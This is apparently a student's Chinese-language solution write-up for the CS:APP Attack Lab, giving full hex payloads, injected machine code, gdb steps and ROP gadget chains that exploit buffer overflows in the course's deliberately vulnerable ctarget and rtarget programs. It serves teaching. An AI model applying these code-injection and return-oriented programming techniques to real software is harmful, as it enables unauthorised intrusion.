Attack Lab
文件来源于《深入理解计算机系统》一书
Attack Lab 网址:http://csapp.cs.cmu.edu/3e/labs.html
运行坏境:Ubuntu 22.04.1
一些介绍
阅读
attacklab.pdf
(writeup)文件,可以知道该实验分为两大部分。书
-
Code Injection Attacks
:
ctarget
是易受代码注入攻击的可执行程序,利用 代码注入(Code injection) 攻击该程序 -
Return-Oriented Programming
:
rtarget
是易受面向返回的编程攻击的可执行程序,利用 返回导向编程(Return-oriented programming) 攻击该程序
另外,如果在 ubuntu 系统上直接运行这两个程序,是无法运行的,因为服务器没有使用 CMU 的内网,无法建立连接。如下
FAILED: Initialization error: Running on an illegal host [XXX]
在
attacklab.pdf
中也提供了解决方法,如下
Both CTARGET and RTARGET take several different command line arguments:
-h: Print list of possible command line arguments
-q: Don’t send results to the grading server
-i FILE: Supply input from a file, rather than from standard input
运行程序时,传入命令参数
-h
可以打印可能的命令行参数列表;传入命令参数
-q
可以不将结果发送到评分服务器;传入命令参数
-i FILE
可以提供来自文件的输入,而不是来自标准输入。
因此,运行程序时附加命令参数
-q
就可以在为连接内网的情况下运行程序。加上参数
-i
还可以支持文件输入。
attacklab.pdf
中还提到了:文件中,ctargrt 和 rtarget 都从标准输入读取字符串,它们使用下面定义的函数 getbuf 来执行此操作:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
使用程序 hex2raw
: 将十六进制序列转为可输入字符串。
hex2raw 的输入是用一个或多个空格分隔的两位十六进制值。因此,如果你想创建一个十六进制值为 0 的字节,你需要把它写成 00。要创建单词 0xdeadbeef,您应该将“ef be ad de”传递给 HEX2RAW(注意小端字节排序所需的反转)。
//注意机器为小端模式
//假设十六进制序列如下
30 31 32 33 34 35 00
//转换为字符串
012345
如何将
汇编代码
转换为机器代码
//假如有如下汇编代码 in example.s
pushq $0xabcdef # Push value onto stack
addq $17,%rax # Add 17 to %rax
movl %eax,%edx # Copy lower 32 bits to %edx
//使用gcc编译example.s,并使用objdump进行反汇编
gcc -c example.s
objdump -d example.o > example.d
//得到如下文件内容 in example.d
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
//获得机器码如下
68 ef cd ab 00 /* pushq $0xabcdef */
48 83 c0 11 /* add $0x11,%rax */
89 c2 /* mov %eax,%edx */
接下来进行 实验
Code Injection Attacks
所谓 Code Injection,就是通过缓冲区溢出,注入攻击代码。
phase 1 —level 1
phase1 任务:
运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch 1 的代码,而不是返回到 test。
在
attacklab.pdf
文件中,ctargrt 中的 test 函数的参考 c 代码如下:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
ctargrt 中的 touch1 函数的参考 c 代码如下:
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
使用反汇编命令反汇编 ctarget,并保存到 ctarget.s 以便查看,如下:
objdump -d ctarget > ctarget.s
主要查看函数
getbuf
和函数
touch1
的汇编代码
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp //分配0x28的栈帧
4017ac: 48 89 e7 mov %rsp,%rdi //buf数组首地址
4017af: e8 8c 02 00 00 call 401a40 <Gets> //调用Gets
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp //
4017bd: c3 ret //使%rip值为返回地址
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
在函数
getbuf
中分配了 0x28 的栈帧,说明字符串数组 buf 的
BUFFER_SIZE
为 40,而函数
touch1
的地址为 0x4017c0 ,接下来就是将函数
test
调用函数
getbuf
时存储在其栈帧中的返回地址改为 0x4017c0 即可。
创建 attack 文件 phase1.txt 如下
//文件中不包含注释
/*填充字符串数组buf*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
/*利用数组越界注入函数 touch1 返回地址*/
/*小端模式*/
c0 17 40 00
00 00 00 00
使用命令如下
./hex2raw < phase1.txt > phase1_.txt
./ctarget -qi phase1_.txt
执行结果为
ubuntu> ./ctarget -qi phase1_.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
通过 phase1.
phase 2 —level 2
phase2任务
:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch2 的代码,而不是返回到 test, 且需要传入参数 cookie=0x59b997fa,通过 touch2 的验证。
在
attacklab.pdf
文件中,ctargrt 中的 touch2 函数的参考 c 代码如下:
void touch2(unsigned val)
level = 2; /* Part of validation protocol */
if (val == cookie) {
rintf("Touch2!: You called touch2(0x%.8x)\n", val);
alidate(2);
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
查看函数
touch2
的汇编代码如下
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
解决任务的思路就是在执行
rep
之前先将寄存器
%rdi
的值改为 cookie 值,然后再通过更改返回地址为
0x4017ec
,即可达到调用函数
touch2
且传入参数 cookie。
编写赋值 %rdi 的汇编代码 in phase2.s, 并将其插入到某段内存中
movq $0x59b997fa, %rdi //将 cookie 值赋给 %rdi
pushq $0x4017ec //将touch2的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret //ret将前面存入栈帧中的返回地址(%rsp+1)赋值给%rip,执行touch2
接下来将上述汇编代码转为机器码,执行如下命令
gcc -Og -c phase2.s
objdump -d phase2.o > phase2_.s
// in phase2_.s
phase2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
//机器码为
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
由此可得 attack 文件 phase2.txt 如下
//插入的汇编代码的机器码
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00
通过字符串数组溢出的方式注入的返回地址应为函数
getbuf
栈帧的地址,亦为执行注入代码的地址,使用 gdb 断点调试功能获取该%rsp 地址。如下
//使用gdb调试 ctarget
gdb ctarget
//打上函数 test 的断点
b *0x401968
//执行函数, 输入命令参数-qi, 文件地址为绝对地址
r -qi ~/code/code/cyy/CSAPP/Attack/phase1.txt
//打上函数 getbuf 的分配栈帧之后,销毁栈帧之前的某一语句的断点
b *0x4017ac
//继续执行
c
//查看寄存器值
i register
rax 0x0 0
rbx 0x55586000 1431855104
rcx 0x0 0
rdx 0x5561dcc0 1432476864
rsi 0xf4 244
rdi 0x55685fd0 1432903632
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dc78 0x5561dc78
r8 0x0 0
r9 0x0 0
r10 0x7ffff7d94e98 140737351601816
r11 0x7ffff7f31900 140737353292032
r12 0x3 3
r13 0x0 0
r14 0x0 0
r15 0x7ffff7ffd040 140737354125376
rip 0x4017ac 0x4017ac <getbuf+4>
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
可以知道
%rsp
值为 0x5561dc78, 与 phase2.txt 中对应。
使用如下命令运行 ctarget
./hex2raw < phase2.txt > phase2_.txt
./ctarget -qi phase2_.txt
执行结果为
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
通过 phase2.
phase 3 —level 3
phase3任务
:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch3 的代码,而不是返回到 test, 且需要传入参数 cookie 的 字符串形式 作为参数,通过 touch3 的验证。
在
attacklab.pdf
文件中,ctargrt 中的 hexmatch 函数的参考 c 代码如下:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
ctargrt 中的 touch3 函数的参考 c 代码如下:
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
分别查看其汇编代码如下
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp //%rsp - 128
...
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
注意到,当我们注入攻击代码后使 ctarget 按预期执行 touch3,但传入的参数为字符串且保存在栈帧中,touch3 验证 cookie 的方式是调用函数
hexmatch
来判断,而且在函数中又调用了
strcmp
,分别观察其汇编代码,发现函数
hexmatch
的栈帧为 134 字节,如果处理不当,一定会覆盖掉传入的 cookie 字符串,毕竟函数
getbuf
的栈帧也就 40 字节。
解决方法是充分利用指令
ret
的运行时栈的特性,运行时栈为逆向生长,而指令
ret
是将当前%rsp+8,并且将这 8 字节的内容作为返回地址赋值给程序计数器%rip。
因此,只要将 cookie 字符串的内容放在比注入指令
ret
执行时 %rsp+8 地址高的位置即可,即在运行时栈中,cookie 字符串值在%rsp+8 的位置开始向上存储。
编写赋值 %rdi 的汇编代码 in phase3.s, 并将其插入到某段内存中
movq $0x5561dca8, %rdi //将 cookie 字符串首地址 赋给 %rdi
pushq $0x4018fa //将touch3的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret //ret将前面存入栈帧中的返回地址(8字节)赋值给%rip,执行touch3
接下来将上述汇编代码转为机器码,执行如下命令
gcc -Og -c phase3.s
objdump -d phase3.o > phase3_.s
//in phase3_.s
phase3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
//机器码为
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
由此可得 attack 文件 phase3.txt 如下
//插入的汇编代码的机器码
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00 //在此之后存储cookie 字符串值
35 39 62 39 //cookie 的字符串形式 其地址为 getbuf的%rsp+0x30
39 37 66 61
00 00 00 00 //字符串结尾
使用如下命令运行 ctarget
./hex2raw < phase3.txt > phase3_.txt
./ctarget -qi phase3_.txt
运行结果为
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
通过 phase3.
Return-Oriented Programming
在
attacklab.pdf
文件提到
对程序 RTARGET 执行代码注入攻击比 CTARGET 要困难得多,因为它使用两种技术来阻止这种攻击:
- 它使用随机化,以便堆栈位置在不同的运行中不同。这使得无法确定注入代码的位置。
- 它将保存堆栈的内存部分标记为不可执行,因此即使您可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败
幸运的是,聪明的人已经制定了策略,通过执行现有代码,而不是注入新代码,在程序中完成有用的事情,即 ROP。
ROP 技术介绍
ROP 为使用你程序里的字节代码攻击你的程序。
attacklab.pdf
文件中提到一个例子。
有如下 c 代码
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
对其进行反汇编后查看机器码
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
注意到,机器码
48 89 c7
可以编码为
movq %rax, %rdi
,如果程序从 0x400f18 处开始执行,则等价于执行如下汇编代码
movq %rax, %rdi
ret
这种带有 ret 的指令段,称为 gadget,而 farm.c 里有很多这种 garget。你可以利用这些 garget 进行攻击。
farm.c 已经编译进了 rtarget,也就是说,你反汇编 rtarget 时,你就会找到 farm.c 里的函数
下图为 一些汇编指令的编码
另外
0xC3
编码为
ret
,
0x90
编码为
nop
.
phase 4 —level 2
phase4任务
:使用 ROP 技术重做 phase2
使用反汇编命令反汇编 rtarget,并保存到 rtarget.s 以便查看,如下:
objdump -d rtarget > rtarget.s
观察其汇编代码,发现 farm.c 确实已经编译进了 rtarget
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret
...
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 ret
查看 getbuf 与 touch2 的汇编代码
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 call 401b60 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 call 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 call 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
字符串数组 buf 的
BUFFER_SIZE
为 40,因为其没有设置金丝雀值,仍可以通过数组溢出改变程序运行的顺序,但由于栈随机初始化且只读模式,不可执行,所以不能够进行代码注入。接下来使用 ROP 技术,需要解决两点:
- 使寄存器 %rdi 值为 cookie
- 执行 touch2
最先想到的汇编代码就是
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
但是使用 gadget 不可直接实现这段汇编代码的功能,但是我们可以将其拆分成多个语句,并结合运行时栈来解决。
先将
$0x59b997fa
放入栈中,由
popq
指令将其赋值给%rdi, 再将
$0x4017ec
放入栈中,由
ret
指令后执行函数 touch2。
放入栈中的工作可以由字符串数组溢出来完成,而赋值寄存器则由 gadget 来完成。
观察 start_farm 到 end_farm 间的汇编代码,发现带有可以编码为
popq
的 gadget 如下
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
//从 0x4019ab 处开始执行,等价于下方汇编语句
4019ab: 58 popq %rax
4019ac: 90 nop
4019ad: c3 ret
接下来还需要将%rax 值赋值给%rdi,如下 gadget
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
//从 4019a2 处开始执行,等价于下方汇编语句
4019a3: 48 89 c7 mov %rax, %rdi
4019a6: c3 ret
整合的汇编代码为
//函数 getbuf 的 ret 执行后跳转 0x4019ab
popq %rax
nop
ret //执行后跳转 4019a2
mov %rax, %rdi
ret //执行后跳转touch2 4017ec
由此可得 attack 文件 phase4.txt 如下
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00 //占位 buf 40字节
ab 19 40 00 // 跳转 0x4019ab 执行popq %rax
00 00 00 00
fa 97 b9 59 // popq %rax
00 00 00 00
a2 19 40 00 // 跳转 0x4019a2 执行mov %rax, %rdi
00 00 00 00
ec 17 40 00 // 跳转 4017ec, 执行touch2
00 00 00 00
执行如下命令
./hex2raw < phase4.txt > phase4_.txt
./rtarget -qi phase4_.txt
执行结果如下
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
通过 phase4
phase 5 —level 3
phase5任务
:使用 ROP 技术重做 phase3
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp //分配128 + 3*8 字节的栈帧
...
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
...
使用 ROP 需要实现以下几个方面
- 获取 cookie 字符串的首地址,并赋值给 %rdi
- 调用 函数 touch3
- 保护 cookie 字符串 不被 函数 hexmatch 的栈帧破坏掉
保护 cookie 字符串依旧是将其放到栈帧的顶端(最后一个返回地址上方),难点再于如何获取 cookie 字符串得到地址。
易于想到的一点就是,使用寄存器 %rsp 加上某个偏移地址 xx 得到,得到如下汇编代码
movq %rsp, %rax
addq $0x xx, %rax
movq %rax, %rdi
但由于 gadget 中没有 addq $0x xx, %rax 命令,但是又类似的命令 add_xy 如下,等价于 %rax = %rdi + %rsi
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
所以可以通过字符串数组溢出来再某个内存中提前存放特殊的值,再通过 popq 将其赋值给%rdi 或%rsi,再调用 add_xy 获取 cookie 字符串的地址。
汇编代码实现如下
popq %rdi
movq %rsp, %rsi
call add_xy
movq %rax, %rdi
call touch3
查找 gadget,发现没有办法直接实现该功能。
查询有用 gadget 如下:
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret
//从 4019cc 处开始运行, 等价于
4019cc:58 popq %rax
4019cd: 90 nop
4019ce: c3 ret
----------------------------------------------------------
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret
//从 4019dd 处开始运行, 等价于
4019dd: 89 c2 movl %eax, %edx
4019df: 90 nop
4019e0: c3 ret
----------------------------------------------------------
0000000000401a33 <getval_159>: //
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret
//从 4019f7 处开始运行, 等价于
401a34: 89 d1 movl %edx, %ecx
401a36: 38 c9 //??, 但不会对寄存器造成影响
401a38: c3 ret
----------------------------------------------------------
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret
//从 401a13 处开始运行, 等价于
401a13: 89 ce movl %ecx, %esi
401a15: 90 nop
401a16: 90 nop
401a17: c3 ret
----------------------------------------------------------
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret
//从 401a06 处开始运行, 等价于
401a06: 48 89 e0 movq %rsp, %rax
401a09: c3 ret
----------------------------------------------------------
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
//从 4019a2 处开始运行, 等价于
4019a3: 89 c7 c3 movq %rax, %rdi
4019a5: c3 ret
----------------------------------------------------------
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax //将 %rdi 和 %rsi 相加
4019da: c3 ret
改进汇编代码如下
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
movq %rsp, %rax
movq %rax, %rdi
call add_xy
movq %rax, %rdi
call touch3
由此可得 attack 文件 phase5.txt 如下
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00 //40 字节占位符
cc 19 40 00 // 执行
00 00 00 00
20 00 00 00 // popq %rax 偏移量
00 00 00 00
dd 19 40 00 // movq %eax, %edx
00 00 00 00
34 1a 40 00 // movl %edx, %ecx
00 00 00 00
13 1a 40 00 // movl %ecx, %esi
00 00 00 00
06 1a 40 00 // movq %rsp, %rax
00 00 00 00
a2 19 40 00 // movq %rax, %rdi //%rdi 中 %rsp开始处
00 00 00 00
d6 19 40 00 // call add_xy
00 00 00 00
a2 19 40 00 // movq %rax, %rdi
00 00 00 00
fa 18 40 00 // call touch3
00 00 00 00
35 39 62 39 // cookie 字符串 //%rsp + 0x20
39 37 66 61
00 00 00 00 // 字符串结束符
执行如下命令
./hex2raw < phase5.txt > phase5_.txt
./rtarget -qi phase5_.txt
执行结果如下
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
通过 phase5
结束